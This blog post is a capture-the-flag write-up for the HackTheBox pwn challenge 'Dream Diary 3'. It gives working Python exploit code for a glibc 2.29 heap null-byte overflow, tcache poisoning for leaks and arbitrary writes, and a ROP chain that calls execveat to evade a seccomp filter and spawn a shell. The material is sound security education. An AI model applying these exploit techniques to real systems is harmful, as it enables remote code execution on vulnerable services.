Post

Dream Diary 3 @ HackTheBox

Dream Diary 3 is a 80 points pwn challenge on hackthebox that involes abusing a null byte overflow on the heap with glibc 2.29. All modern protections are enabled & seccomp is hindering us to call certain systemcalls.

Setup

The rpath and interpreter values have been tampered with and some values have been overwritten in the provided libc version, which makes it difficult to debug as pwndebug and gefs heap commands won’t work. To work around this issue, I developed the exploit against my local libc (which was also 2.29) and changed offsets later:

1
2
3
4
patchelf --print-rpath diary3
patchelf --print-interpreter diary3
patchelf --set-rpath '/usr/lib/x86_64-linux-gnu/libc.so.6' diary3
patchelf --set-interpreter '/usr/lib/x86_64-linux-gnu/ld-2.29.so' diary3

We start the code by writing some wrapper functions for the menu options of the program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def add(size, data=""):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('data: ')
    p.sendline(data)


def edit(index, data):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(index))
    p.recvuntil('data: ')
    p.sendline(data)

def show(index):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil('index: ')
    p.sendline(str(index))


def free(index):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(index))

Currently the heap bins look clean:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> bins
tcachebins
0x410 [  1]: 0x55ea9413c2a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0

The next preparation step at this point is to fill up 2 tcache lists of sizes 0xf0 and 0x128:

1
2
3
4
5
6
7
8
for i in range(7):
  add(0xf0)
for i in range(7):
  free(i)
for i in range(7):
  add(0x128)
for i in range(7):
  free(i)

Tcaches are a new single linked list structure in glibc >= 2.26. It creates such a list for every size that is freed and has a capacity of 7. Allocations will be served by the tcache first if one of the required size exists.

Heap bins:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> bins
tcachebins
0x100 [  7]: 0x558330cbecc0 —▸ 0x558330cbebc0 —▸ 0x558330cbeac0 —▸ 0x558330cbe9c0 —▸ 0x558330cbe8c0 —▸ 0x558330cbe7c0 —▸ 0x558330cbe6c0 ◂— 0x0
0x130 [  7]: 0x558330cbf4e0 —▸ 0x558330cbf3b0 —▸ 0x558330cbf280 —▸ 0x558330cbf150 —▸ 0x558330cbf020 —▸ 0x558330cbeef0 —▸ 0x558330cbedc0 ◂— 0x0
0x410 [  1]: 0x558330cbd2a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
empty

We create 3 adjacent chunks: A, B and C.

1
2
3
add(0x128, 'A'*0x128)
add(0x118, 'B'*0x118)
add(0x118, (b"C"*0xF8)+p64(0x21)+p64(0)+p64(0)+p64(0))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5609072654d0:    0x0000000000000000  0x0000000000000131
0x5609072654e0:    0x4141414141414141  0x4141414141414141
...
0x5609072655f0:    0x4141414141414141  0x4141414141414141
0x560907265600:    0x4141414141414141  0x0000000000000121
0x560907265610:    0x4242424242424242  0x4242424242424242
...
0x560907265710:    0x4242424242424242  0x4242424242424242
0x560907265720:    0x4242424242424242  0x0000000000000121
0x560907265730:    0x4343434343434343  0x4343434343434343
...
0x560907265810:    0x4343434343434343  0x4343434343434343
0x560907265820:    0x4343434343434343  0x0000000000000021
0x560907265830:    0x0000000000000000  0x0000000000000000
0x560907265840:    0x0000000000000000  0x000000000001e7c1

Note: view heap with heap command.

The 0x118 sized chunks come from the wilderness, while the 0x128 sized chunk (A) comes from the tcache[0x130], which now has only 6 entries left.

Note that C is not just filled with ‘C’ like the other 2 chunks because I already prepared for a later stage (explanation follows).

Leaking the heap

To bypass one of glibc 2.29 checks later on, we need to leak a heap pointer. To do so, we can use the Tcaches.

1
2
3
4
5
6
7
8
free(0)
add(0x128)
show(0)
p.recvuntil (": ") 
leak_addr = u64(p.recvn(6).ljust (8 , b'\x00'))
leak_offset = 0x1D6-0x40 # change this 
fake_header = leak_addr + leak_offset
free(0)

We free the A chunk and add a new one. Because the tcache has still room (currently at 6 entries), it will go into the tcache and write the fd pointer to the just freed location.

1
2
3
0x55ceeca904d0:    0x0000000000000000  0x0000000000000131
0x55ceeca904e0:    0x000055ceeca9030a  0x0000000000000000
0x55ceeca904f0:    0x4141414141414141  0x4141414141414141

The reallocation of A will come from tcache aswell and will give back the exact address that was just freed. This means the fd pointer is now in the data section of A. Because we have not added any data to it on creation, we can read the pointer with show. Afterwards we free the A area again to clean up (tcache[0x130] now at 7).

Null byte overflow & overlapping chunks

The basic idea is to overflow a null byte from chunk B into C, resetting the the prev_inuse bit on Cs header. When we now free A and C, coalescing will kick in, combining all memory from C to A into one big chunk. B was never freed and is still allocated, while simultaneously considered inside the big free chunk.

There are 3 things to pay attention to here:

  • The previous size value between B and C must be forged, so it points to the start of A
  • glibc 2.29 checks on coalescing that the size of A is equal to the size of the forged previous size value
  • A null byte overwrite into Cs size can reduce the size of C considerably and it will be checked that there is a next chunk at the end of C.

Criterion 1 we can achieve by just writing the prev_size value to the end of B, because its still inside Bs data section.
Criterion 2 we fulfil by writing fake chunk metadata inside As data section.This fake metadata has our fake size and 2 pointers that point back to this fake chunk itself, requiring the heap leak we already got.
Criterion 3 we fulfil by writing fake chunk metadata inside Cs data section.

The null byte overwrite in this challenge is achieved by creating chunk and then editing its full size. The terminating null byte will overflow.

Fake header in A (Criterion 2):

1
add(0x128, p64(0)+p64(0x241)+p64(fake_header)+p64(fake_header))
1
2
3
4
0x55a2ac8274d0:    0x0000000000000000  0x0000000000000131
0x55a2ac8274e0:    0x0000000000000000  0x0000000000000241
0x55a2ac8274f0:    0x000055a2ac8274a0  0x000055a2ac8274a0
0x55a2ac827500:    0x414141414141410a  0x4141414141414141

Null byte overwrite from B into Cs metadata & fake previous size value:

1
2
for i in range(0x118-2, 0x118-9, -1):
    edit(1, 'B'*i + '\x40\x02')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x55a2ac8274d0:    0x0000000000000000  0x0000000000000131
0x55a2ac8274e0:    0x0000000000000000  0x0000000000000241
0x55a2ac8274f0:    0x000055a2ac8274a0  0x000055a2ac8274a0
0x55a2ac827500:    0x414141414141410a  0x4141414141414141
...
0x55a2ac8275f0:    0x4141414141414141  0x4141414141414141
0x55a2ac827600:    0x4141414141414141  0x0000000000000121
0x55a2ac827610:    0x4242424242424242  0x4242424242424242
...
0x55a2ac827710:    0x4242424242424242  0x4242424242424242
0x55a2ac827720:    0x0000000000000240  0x0000000000000100
0x55a2ac827730:    0x4343434343434343  0x4343434343434343
...
0x55a2ac827810:    0x4343434343434343  0x4343434343434343
0x55a2ac827820:    0x4343434343434343  0x0000000000000021
0x55a2ac827830:    0x0000000000000000  0x0000000000000000
0x55a2ac827840:    0x0000000000000000  0x000000000001e7c1

Previous size was set to 0x240 and the 0x121 original size was set to 0x100, clearing the prev_inuse bit and reducing the size of C. Note that we now have fulfilled all of the criterions. There is fake 0x241 sized chunk (2), we set previous size and cleared prev_inuse (1) and created a another fake header after C because we reduced its size (3).

After coalescing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x55dec580c4d0:    0x0000000000000000  0x0000000000000131
0x55dec580c4e0:    0x0000000000000000  0x0000000000000341
0x55dec580c4f0:    0x00007f9b7aa87ca0  0x00007f9b7aa87ca0
0x55dec580c500:    0x414141414141410a  0x4141414141414141
...
0x55dec580c5f0:    0x4141414141414141  0x4141414141414141
0x55dec580c600:    0x4141414141414141  0x0000000000000121
0x55dec580c610:    0x4242424242424242  0x4242424242424242
...
0x55dec580c710:    0x4242424242424242  0x4242424242424242
0x55dec580c720:    0x0000000000000240  0x0000000000000100
0x55dec580c730:    0x4343434343434343  0x4343434343434343
...
0x55dec580c810:    0x4343434343434343  0x4343434343434343
0x55dec580c820:    0x0000000000000340  0x0000000000000020

Note that the size has changed to 0x341, indicating that B was overlapped and we have one big free chunk. We will now abuse this to leak libc.

Leaking Libc

As we have an overlapped chunk, we can allocate a new chunk at the location where A originally was. This will shrink the big free chunk, which leads to its main_arena pointers being pushed down on the heap, into the area where B is still allocated:

1
2
3
4
5
6
7
add(0x110)
show(1)
p.recvuntil (": ")
main_arena = u64(p.recvn(6).ljust (8 , b'\x00'))
libc_base = main_arena - 0x1E4CA0
libc_environ = libc_base + 0x1E7D60 
free(0)
1
2
3
4
5
6
7
8
0x564822c474d0:    0x0000000000000000  0x0000000000000131
0x564822c474e0:    0x0000000000000000  0x0000000000000121
0x564822c474f0:    0x00007f3653e39f0a  0x00007f3653e39fd0
0x564822c47500:    0x414141414141410a  0x4141414141414141
...
0x564822c47600:    0x4141414141414141  0x0000000000000221
0x564822c47610:    0x00007f3653e39ca0  0x00007f3653e39ca0
0x564822c47620:    0x4242424242424242  0x4242424242424242

A show on B then leaks the pointer to main_arena. To find the exact offset inspect the leak address and subtract the libcbase (via vmmap) from it.

Getting a Write Primitive

To prepare, we clear up tcache[0x130] (which has 7 entries at this point). Because tcache[0x130] is empty now, the next allocation is served by the unsorted bin (the huge free chunk created by our overlap).

1
2
3
for i in range(7):
    add(0x128)
add(0x128)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x5611538f34d0:    0x0000000000000000  0x0000000000000131
0x5611538f34e0:    0x00005611538f330a  0x0000000000000000
0x5611538f34f0:    0x00007f71377d7f0a  0x00007f71377d7fd0
0x5611538f3500:    0x414141414141410a  0x4141414141414141
...
0x5611538f35f0:    0x4141414141414141  0x4141414141414141
0x5611538f3600:    0x4141414141414141  0x0000000000000131
0x5611538f3610:    0x00007f71377d7c0a  0x00007f71377d7ca0
0x5611538f3620:    0x4242424242424242  0x4242424242424242
...
0x5611538f3710:    0x4242424242424242  0x4242424242424242
0x5611538f3720:    0x0000000000000240  0x0000000000000100
0x5611538f3730:    0x4343434343434343  0x00000000000000f1
0x5611538f3740:    0x00007f71377d7ca0  0x00007f71377d7ca0
0x5611538f3750:    0x4343434343434343  0x4343434343434343
...

The last allocation we did is exactly on top of B because it comes from the unsorted bin. Remember that in the last step, by leaking libc, we pushed the unsorted bin down – this is the location we got back now.

With this setup, we can now read/write from/to any location.

Leaking the Stack

The libc given to us has no ““/bin/sh” string so we can not use one_daget, otherwise we could write to malloc_hook or free_hook and get a shell that way.

There is a neat trick to leak the stack address via the environ pointer. This is a pointer with a symbol in libc that points at the stack (you can get the offset from libc_base via (print(libc.symbols['environ'])).

We free the last 2 allocated chunks, resulting in 2 tache[0x130] entries. Then we edit B (which sits on top of the second just freed chunk) at fd pointer position so it contains a pointer to libc->environ:

1
2
3
4
free(8)
free(9)
for i in range(8-2, 8-9, -1):
    edit(1, b'B'*i + p64(libc_environ)[:6])
1
2
0x564f9c0a8600:    0x4141414141414141  0x0000000000000131
0x564f9c0a8610:    0x00007f0321d57d60  0x0000560000000000
1
0x130 [  2]: 0x564f9c0a8610 —▸ 0x7f0321d57d60 (environ) —▸ 0x7ffdf702c928 ◂— ...

Because we edited the fd pointer of B, tache[0x130] now links to libc->environ, meaning that the second next allocation will be at environ!

1
2
3
4
5
add(0x128, "A"*8)
add(0x128)
show(9)
p.recvuntil (": ") 
stack_leak = u64(p.recvn(6).ljust (8 , b'\x00'))

Show will read from the allocation in libc we just created and give us the stack pointer. We want to adjust this pointer a bit. We want to trigger our ropchain by calling exit from the main loop, this means we must write it at location behind the stack canary (which we do not want to touch at all). After getting the (static) offset in gdb via manual stepping we can adjust the leak pointer:

1
rop_loc = stack_leak - 0xf2

Rop & Seccomp

To go ahead with exploiting, we create a ropchain with ropper ropper --file libc.so.6 --chain execve and modify it to our needs. However ropper will call execve, which is blocked by seccomp. We can view the seccomp rules with seccomp-tools dump ./diary3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW

This means the listed syscalls are blacklisted and can not be called without crashing the process. We can bypass these restrictions by using execveat, which has the following signature:

1
2
3
 int execveat(int dirfd, const char *pathname,
                    char *const argv[], char *const envp[],
                    int flags);

The following ropchain sets the registers accordingly and calls the function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ropnop = p64(libc_base + 0x000000000003148f)
rop = b""
rop += ropnop
rop += ropnop
rop += p64(libc_base + (0x0000000000030e4d)) # 0x0000000000030e4d: pop r12; ret;
rop += b'//bin/sh'
rop += p64(libc_base + (0x0000000000026a25)) # 0x0000000000026a25: pop r13; ret;
rop += p64(libc_base + (0x00000000001e41a0))
rop += p64(libc_base + (0x00000000000a0da8)) # 0x00000000000a0da8: mov qword ptr [r13], r12; pop r12; pop r13; pop r14; ret;
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(libc_base + (0x0000000000030e4d)) # 0x0000000000030e4d: pop r12; ret;
rop += p64(0x0000000000000000)
rop += p64(libc_base + (0x0000000000026a25)) # 0x0000000000026a25: pop r13; ret;
rop += p64(libc_base + (0x00000000001e41a8))
rop += p64(libc_base + (0x00000000000a0da8)) # 0x00000000000a0da8: mov qword ptr [r13], r12; pop r12; pop r13; pop r14; ret;
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(libc_base + (0x0000000000026542)) # 0x0000000000026542: pop rdi; ret;
rop += p64(0)
rop += p64(libc_base + (0x0000000000026f9e)) # 0x0000000000026f9e: pop rsi; ret;
rop += p64(libc_base + (0x00000000001e41a0))
rop += p64(libc_base + (0x000000000012bda6)) # 0x000000000012bda6: pop rdx; ret;
rop += p64(0)
rop += p64(libc_base + (0x000000000012bda5))  # pop r10; ret;
rop += p64(0)
rop += p64(libc_base + (0x000000000010b31e))  # pop rcx; ret;
rop += p64(0)
rop += p64(libc_base + (0x0000000000047cf8)) # 0x0000000000047cf8: pop rax; ret;
#rop += p64(0x4000003b)
rop += p64(0x142)
rop += p64(libc_base + (0x00000000000cf6c5)) # 0x00000000000cf6c5: syscall; ret;

We use the same technique as before to write the chain to the stack at the specified address:

1
2
3
4
5
6
free(7)
free(8)
for i in range(8-2, 8-9, -1):
    edit(1, b'X'*i + p64(rop_loc)[:6]) 
add(0x128, "A"*8)
add(0x128, rop)

This basically finishes the exploit, as on choosing exit the rop chain will be executed.

Modifying offsets for remote

To get a shell on the remote end, we have to adjust the heap leak by -0x40 and add -0x10 to the fake header in A we used to overlap chunks.

Reading the Flag

After getting a shell we can use echo * to list files and then read the flag with while IFS= read -r line;do echo "$line";done < filename

Thanks to will135 for creating this awesome challenge and congrats to @r4j0x00 for getting first blood!

Full Exploit: Exploit

This post is licensed under CC BY 4.0 by the author.